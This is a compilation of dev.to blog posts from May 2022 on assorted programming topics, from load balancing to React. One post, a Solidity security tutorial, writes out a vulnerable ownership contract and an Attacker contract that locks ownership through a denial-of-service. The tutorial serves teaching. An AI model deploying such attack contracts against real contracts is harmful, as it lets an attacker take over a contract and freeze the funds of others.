teleren/devto huggingface dataset:
[Conceito] - Round-Robin
Published: 2022-05-15 19:15:22

> Conteúdo original [nessa thread do Twitter](https://twitter.com/zanfranceschi/status/1525916697332371457)

---

Ei dev,

Fora do contexto do Batman você sabe o que é Robin? Na verdade, Round Robin ou round-robin?

Round Robin é um algoritmo de distribuição mais legal que o Batman.

Cola mais pra você arrepiar no próximo churrasco e mandar a resenha certa sobre o Robin.

cc @sseraphini
 
↓

![img](https://pbs.twimg.com/media/FS0lJgAVUAAjgcf?format=png&name=small)

---

Round-robin tem tudo a ver com divisão igualitária e não é papo de política social, não.

Pode ser encontrado desde CPU scheduling, até message brokers, até Kafka, até load balancers, até DNS, até uma mamãe águia alimentando seus dois filhotinhos (essa última eu inventei).

![img](https://pbs.twimg.com/media/FS0lJ1iUEAY0-25?format=png&name=small)

---

Como sou o louco dos exemplos não poderia ser diferente aqui.

Imagine um load balancer pra uma API. Na verdade um cluster de APIs com 3 nós atrás desse load balancer.

![img](https://pbs.twimg.com/media/FS0lKRkUAAANC56?format=jpg&name=small)

---

Se o load balancer estiver configurado no modo round-robin, ele irá distribuir as requisições de forma circular e sem prioridade.

Ou seja:

- 1ª req. / nó 1
- 2ª req. / nó 2
- 3ª req. / nó 3
- 4ª req. / nó 1
- 5ª req. / nó 2
- 6ª req. / nó 3

...e assim por diante.

---

Middlewares de mensagens/streaming também funcionam assim por padrão.

Imagine um cenário com 2 consumidores conectados em uma mesma fila.

![img](https://pbs.twimg.com/media/FS0lK1mUAAAZgok?format=jpg&name=small)

---

O natural é que as mensagens sejam distribuídas de forma justa entre os consumidores conectados à fila.

Ou seja:

- 1ª msg. / consumidor 1
- 2ª msg. / consumidor 2
- 3ª msg. / consumidor 1
- 4ª msg. / consumidor 2

... e assim por diante.

---

E ainda por cima, se um novo consumidor ou nó de API for adicionado ao cluster, esse novo elemento passará a receber também requisições ou mensagens.

---

Ah, mencionei sobre distribuição justa. Às vezes, você também encontrará o termo "fair distribution" sendo usado para round-robin.

---

Se o conceito ainda estiver meio confuso, assista ao episódio do Pica-Pau em que há aquela divisão desonesta de comida. É a mesma coisa, só que de forma honesta!

(Procure por "UM PRA VC UM PRA MIM, DOIS PRA VC DOIS PRA MIM" no YouTube.)

![img](https://pbs.twimg.com/media/FS0lLwBUsAEoT76?format=jpg&name=small)

---

Esse algoritmo também pode ser usado em CPUs e até DNSs.

Por falar em DNS, o que você acha que aconteceria com as requisições para o site Mamãe Águia com a política de round-robin configurada como nessa imagem?

Fácil demais, né?

(Vai lá e abafa com o time de infra.)

![img](https://pbs.twimg.com/media/FS0lMMaVEAIWcjm?format=png&name=small)

---

Se você leu até aqui, dá um abraço apertado, vai! 🤗 

Obrigado demais pela moral!
How to encrypt data at rest in a Ceph cluster
Published: 2022-05-15 19:06:43

---
title: How to encrypt data at rest in a Ceph cluster
published: true
description: We look into Ceph encryption in a cluster where each OSD can be encrypted and the keys store externally in order to ensure data integrity and safety.
tags:
cover_image: https://i.ytimg.com/vi/BkAft_lfZOQ/maxresdefault.jpg
---

{% youtube BkAft_lfZOQ %}

We look into Ceph encryption in a cluster where each OSD can be encrypted and the keys store externally in order to ensure data integrity and safety.
Denial of Service
Tags: solidity, security, bestpractice
Published: 2022-05-15 18:55:25

---series: Security Vulnerabilities---

Let's say there is a contract which allows maximum ETH donner to become owner of that contract. 
In this blog, we will see how it is possible to highjack such contract taking advantage of a contract vulnerability.

Consider following contract:
- anyone can call `becomeOwner()` function and become owner by sending amount greater than `balance`.
- on calling `becomeOwner()`, if condition is met, `balance` amount is transfered to current owner and `owner` and `balance` state variables are updated.

```solidity
contract Victim {
    address public owner;
    uint public balance;

    function becomeOwner() external payable {
        require(msg.value > balance);
        (bool sent, ) = owner.call{value: balance}("");
        require(sent, "Send failed");

        balance = msg.value;
        owner = msg.sender;
    }
}
```

Now let's say Victim contract is unable to send current balance to current owner, i.e `require(sent, "Send failed");` is not satisfied. 
In that case, current owner can never be removed and new owner can never be added. That's exactly how attackers can highjack the contract:

```solidity
contract Attacker { // has no fallback function, hence can't recieve eth
    Victim victimCOntract;

    constructor(address _victim) {
        victimCOntract = Victim(_victim);
    }

    function attack() external payable {
        victimCOntract.becomeOwner{value: msg.value}();
    }
}
```

The Attacker function has no receive/fallback function, and hence cannot receive ETH, when someone tries to send ETH transaction fails. And hence `becomeOwner()` function is never executed by anyone.

You might have got a question, if Attacker can't receive ETH how can it send ETH to Victim? 
Well answer to this is simple, if you see the `attack()` function you might notice the ETH is never supplied to Attack contract. It's transacted from function caller to Victim directly.
Flatiron Phase One Blog: API keys
Tags: api, javascript, beginners
Published: 2022-05-15 18:40:04

As the first phase of my flatiron experience comes to an end, I'm finding myself excited by the amount of information and technology that there is to learn. At the same time, it is incredibly intimidating, and I have come to accept that it is impossible to learn everything that there is to know. Instead, I must focus on learning on what I need to know, and what peaks my curiosity. This blog post is inspired by what I needed to learn: API keys.

When searching for APIs I could use for my project, I kept coming across public APIs that required I register for an API key to access and use their information. At first, I was confused by this, why make the data public, but require developers to register for its usage?

The answers to this question is quite simple:
- to track what each developer is requesting from the API
- it's an easy way for to ensure user authentication
- to monitor if the user making the call to the API has authorization to do so

The use of API keys are common when there is a desire to block anonymous usage of the API. It is also very handy for when you wish to limit the number of calls users can make to your API. This can help reduce traffic to your API.

However, it is worth mentioning that API keys are not meant for secure authorization. Instead, it is recommended to use TLS (Transport Layer Security).
Most fast create card with Glassmorphism effect
Tags: css, html, design, webdev
Published: 2022-05-15 18:10:38

Lest go, this tutorial are very fast, to you create a very beautiful card using grassmorphism effect with css, in your project! 💥

We have 3 steps to create this card. 🧾

#### 1. Create our structure, so can create with HTML, or React with JSX/TSX, so, wherever technology that you use to create, make this.

In my exemple, I use HTML.

![Card HTML](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1ljru4l0rphkmuqyara4.png)



#### 2. now, lets go create our css

For this, we need attention for 2 things

⚠ The footer element receive our grassmorphism effect, so, this it need a opacity in your background-color for you can see the effect.

⚠ For opacity I used direct in HEX code color, like this #fafafa77 this 77 is like a opacity in HEX, test after you create this card.

For your header we create this code.


![Header card CSS](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xhi6zg53edi47tzprznx.png)

And for footer this code.


![Footer card CSS](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o9yampaj3n1peimglrtl.png)


🚀 NICE, we create the beautiful card with glassmorphism effect, and if you lets create another element with this effect, use the code:

```
backdrop-filter:blur(1rem)
```

And don't forgot to opacity in element that have received this effect.

Finality this is our result!


![Card with glassmorphism](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6paeq6bmo6n55zg5anit.jpg)

.
.
.
.
.
From post in PT-BR
Instagram: @imatheus.max
Post: https://www.instagram.com/p/Cdlk5fTAWEy/
Valid Anagram. (Javascript DSA Series)
Tags: datastructure, algorithms, javascript
Published: 2022-05-15 17:46:48

---
title: Valid Anagram. (Javascript DSA Series)
published: true
description: Part 1 of Data Structure and Algorithm problem solving series.
tags: DataStructure, Algorithms, Javascript
//cover_image: https://direct_url_to_image.jpg
---

## Problem
Given two strings s and t, return true if t is an anagram of s, and false otherwise.

**An Anagram** is a word or phrase formed by rearranging the letters of a different word or phrase, typically using all the original letters exactly once.

 * Example
 * Input: s = "anagram", t = "nagaram" 
 * Output: true
 * Input: s = "rat", t = "car"
 * Output: false
 * 
 * Constraints
 * 1 <= s.length, t.length <= 5 * 104
 * s and t consist of lowercase English letters.

## Solution
There are two ways of solving this problem. 

### Method One
```javascript
/**
 * Since t is compared to s,
 * convert all to lowercase,
 * sort t and s, 
 * if t is exactly equal to s, then it is an anagram, else it isn't
 * Runtime O(n)
 */

// const s = "anagram";
// const t = "nagaram" 
const s = "rat", t = "car"
function anagram(s, t){
    const sortedS = s.split('').sort().join('');
    const sortedT = t.split('').sort().join('');
    if (sortedS === sortedT) return true;
    return false;
}
```

### Method Two
Using Map

```javascript
/**
 * Create a map object
 * For each char in S, add the first occurrence with a value of 1. For subsequent occurrence, increase the value by +1.
 * For each char in T, if it doesn't exist in map i.e undefined or value is <= 0, return false. If it does exist, do value -1, return true outside loop.
 * @param {*} s 
 * @param {*} t 
 */

function anagramTwo(s,t){
    // for our answer to be an anagram, the word must be rearranged, hence, if the length of the two words are not same, it is not an anagram.
    if(s.length !== t.length) return false;

    const map = {};
    for (let i of s) {
        if(map[i] !== undefined) {
            map[i]++
         } else map[i] = 1
    }

    for (let i of t){
        if (map[i] === undefined || map[i] <= 0) return false;
        map[i]--;
    }
    return true
 
}

console.log(anagramTwo("ab", "a"))
```
If you find this helpful, like, share and bookmark. :)
Week 3 - Array of Objects
Tags: javascript, beginners, programming, productivity
Published: 2022-05-15 17:40:24

The modern web functions predominately on the use of Application Programming Interfaces (APIs). Many of the APIs return data by passing an array of objects between one another. 

This weeks worth of study has been reviewing the LearnJavaScript.online has focused on the management of API data that is in the form of an Array of Objects. 

- Main Resource - [LearnJavaScript.online](https://learnjavascript.online/)
- Supplementary Resource - [MDN JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide)

## What Was Learnt
This weeks worth of learning built on the array functions in the previous week, but with the added complexity of managing an array of object coupled with optional chaining.

Of interest in this week was working with objects simulated against the Twitter API, for example:

```
const tweets = [
    {
        id: 1,
        message: "Week 2 - JavaScript and Beyond...",
        user: {
            handle: "jack_wj"
        },
        stats: {
            likes: 1,
            retweets: 1
        }
    },
    {
        id: 2,
        message: "Week 3 - Array of Objects",
        user: {
            handle: "jack_wj"
        },
        stats: {
            likes: 1,
            retweets: 1
        }
    }
];

const socialScore = tweets.reduce((total, tweet) => {
    return total + tweet.stats.likes + tweet.stats.retweets;
}, 0);
console.log(socialScore); // 4

const messages = tweets.map(tweet => tweet.message); // [ 'Week 2 - JavaScript and Beyond...', 'Week 3 - Array of Objects' ]
console.log(messages);
```

One way to improve the visualisation of the objects that are being managed within the array is to change the "current" variable name that is typical used within the reduce function, but instead to refer to it as its singular variable name, in this instance "tweet".

So far this week has begun to introduce me to how APIs manage and send data, which will help build into frameworks such as Express and React.

## Resource Review
This week has hasn't had as much progress as previous week, however, the material has begun to gently introduce how APIs manage data in a succinct way that has built off previous weeks.

It has also begun to introduce more intermediate content, such as try...catch, optional chaining, and nullish coalescing.

The LearnJavaScript.online resource has definitely increased in complexity but has managed to maintain its stability in ease of use and structured approach to learning.

## Retrospective

- I believe with the increase in complexity, it might be worth beginning to look at React or Express to help tie knowledge that is being learnt from LearnJavaScript.online to other content to further compound the lessons that are being learnt. However, this will need to be thought out before committing to it.

## Sign Off
Until next week!

~ Jack/eXit
Accessing external Secrets in Gitlab CI
Tags: go, security, docker
Published: 2022-05-15 17:32:22

There are times when you want to access your existing credentials from a secure location, like [Vault by HashiCorp](https://www.vaultproject.io/), [AWS](https://aws.amazon.com/) or some other big Cloud provider but your current CI Image does not have the necessary SDK installed or means to retrieve them. Maintaining them a second time as Gitlab Variables or accessing them in a previous job should not be done and is considered insecure for many reasons. That is why I created [Gin Vals](https://gitlab.com/PatrickDomnick/gin-vals). Simply run Gin Vals as an Service and make a Web Request to the service.

## Concept

As the name describes Gin Vals combines to simple GO dependencies to create a slim and easy solution for most providers.
[Vals by Variantdev](https://github.com/variantdev/vals) is a tool for managing configuration values and secrets for the major cloud providers and other technologies.
Now we simply need to make it accessible via REST with the Gin [Web Framework](https://github.com/gin-gonic/gin).

## Usage

Because we are using Vals as our configuration and secrets tool, we can simply refer to its [documentation](https://github.com/variantdev/vals#supported-backends):

- Vault: `ref+vault://PATH/TO/KVBACKEND[?address=VAULT_ADDR:PORT&token_file=PATH/TO/FILE&token_env=VAULT_TOKEN]#/fieldkey`
- AWS Secrets Manager: `ref+awssecrets://PATH/TO/SECRET[?region=REGION&version_stage=STAGE&version_id=ID]`
- GCP Secrets Manager: `ref+gcpsecrets://PROJECT/SECRET[?version=VERSION]`
- and many more...

I will use the simple `echo` method to display some possible methods of using Gin Vals.

### Simple single value GET request

The easiest way is to just retrieve one secret via GET. Add the Vals string as path and you should be able to get your secret value into a variable.

```yaml
test:
  image: bitnami/bitnami-shell:latest
  services:
    - name: patrickdomnick/gin-vals:latest
      alias: ginvals
  script:
    - export secret=$(curl -X GET "http://ginvals:9090/ref+echo://foo/bar")
    - echo secret
```

### Simple single value POST request

The more advanced method would be to retrieve many secrets at once as a json object. From here we could parse the data with tools like jq depending on the main image you are using.

```yaml
test:
  image: bitnami/bitnami-shell:latest
  services:
    - name: patrickdomnick/gin-vals:latest
      alias: ginvals
  script:
    - export secretJson=$(curl -H 'Content-Type: application/json' -d '{"foo": "ref+echo://foo/bar","bar": "ref+echo://bar/foo"}' -X POST "http://ginvals:9090")
```
Lambda Layers
Tags: serverless, lambda, aws, cloudcomputing
Published: 2022-05-15 17:30:51

●A Lambda layer is a container/archive which contains additional code such as libraries, dependencies, or custom runtimes.
● AWS Lambda allows five layers in a function.
● Layers are immutable.
● A new version will be added if you publish a new layer.
● Layers are by default private but can be shared and made public explicitly.
Getting details of blockchain transaction with GetTransactionByID
Tags: blockchain, hyperledger, fabric
Published: 2022-05-15 17:20:04

In HyperLedger Fabric, to get details of a given transaction, one can use QSCC system chaincode call:
```
GetTransactionByID
```

The problem I came across, was with parsing the response. I couldn't find any good explanation how to do this.

Finally, with a bit of experimentation, I've managed to figure it out. Sample  code and description are available here:
[https://github.com/msedzins/GetTransactionByID](https://github.com/msedzins/GetTransactionByID)
Creating a Node.js module for both CommonJS & ESM consumption
Tags: javascript, node, esm, npm
Published: 2022-05-15 17:14:15

Last week I had an urge to create a simple stopwatch module for a future project. I recently got my feet wet with creating [ECMAScript modules](https://nodejs.org/api/esm.html) (ESM), and wanted to ensure that any module I created in the future would feel native to either CommonJS or ESM. Turns out it is very simple.

In the most skeleton form, my structure looked like this:

```
src/
└── index.cjs
index.js
index.mjs
package.json
```

All of the work for the module lives in `src/`, with the two root index files just providing exports to be consumed by parent modules. Here is how the relevant portions of the files above look:

src/index.cjs:
```js
module.exports = class SomeClass {
    // code here
}
```

index.js:
```js
const SomeClass = require('./src/index.cjs');

module.exports = SomeClass;
```

index.mjs:
```js
import SomeClass from './src/index.cjs';

export default SomeClass;
```

package.json:
```json
"main": "./index.js",
"exports": {
    "require": "./index.js",
    "import": "./index.mjs"
}
```

And that's it! This can certainly be scaled up to more than a single export, and it can include named exports as well.

Bonus: [here](https://github.com/slashinfty/notatimer) is the stopwatch module I created.
Hang Man in vanilla JavaScript
Tags: javascript, webdev, gamedev, beginners
Published: 2022-05-15 17:05:55

**Hang Man**

Classic HangMan project coded in vanilla js.

No libraries used in this little fun project.

You can check this out [here](https://prajyu.github.io/hang-man/website/index.html)

Source Code on [GitHub Repo](https://github.com/prajyu/hang-man)

Clone and run it locally to access full feature 

Share your thoughts...
Are you coachable?
Tags: beginners, programming, career, help
Published: 2022-05-15 17:02:24

It's natural for software developers to feel like they're ready to take on more responsibility, or become a leader, after they've achieved a level of comfort and success. And if we only measure by past achievements, or by technical skillsets, it might be easy to tell if someone is ready for more in their role. 

But there is a bigger factor in determining how well you'll take on your next role and that is your ability to be coached. Your ability to be coached is not only useful for the first years of your career, but in fact it is a key indicator to how successful you will be in all of your roles in the future.

{% embed https://attainable.engineer/are-you-coachable %}

Many of us forget that when we climb the career ladder, each new rung places us back in the **beginners** seat. And if we treat that as an opportunity to learn and grow, we'll find greater success. Being coachable is the best quality you can have no matter where you are in your career, but especially as you grow into bigger and better opportunities.
render prop and children in react
Tags: react, javascript, webdev, programming
Published: 2022-05-15 16:40:17

### render prop 
Hello guys I want to give an introduction about what render prop is.

According to the official documentation

**The term “render prop” refers to a technique for sharing code between React components using a prop whose value is a function.**

From my point of view its just an another prop but it will share some of the code but you can name it whatever you want as prop.

Foe an example,

```
import "./styles.css";
import ListItem from "./ListItem";

export default function App() {
  return (
    <div className="App">
      <ListItem render={"Simply a prop"} />
      
    </div>
  );
}
```

The output is 

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/acfhx300aok1myoi9o9o.png)


Traditionally it has been used as this following way,

```
In App.js
<ListItem render={(data) => <li>{data}</li>}  data="Simply a prop"/>

In ListItem.js
const ListItem = (props) => {
  return <div> {props.render(props.data)}</div>;
};
```

The output is

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b1ldu4ajkb302e9hxoxc.png)

I think that solves your doubts with render prop.

### children prop

children prop is nothing but the ui rendered between the elements. what do I mean by that. Lets say you have a div in between you write a lot of code , all the codes you've written between that div is children to that div.

Apply the same logic for components.

For example consider the same ListItem component,

```
//In App.js

<ListItem> <div>Hello Guys , this is considered as the children </div> </ListItem>

//In ListItem.js

const ListItem = (props) => {
  return <div> {props.children}</div>;
};

```

The output is


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rvo43ar85iw60b5h7tk1.png)


I think you should try this example and comment if there is any doubt. Happy coding.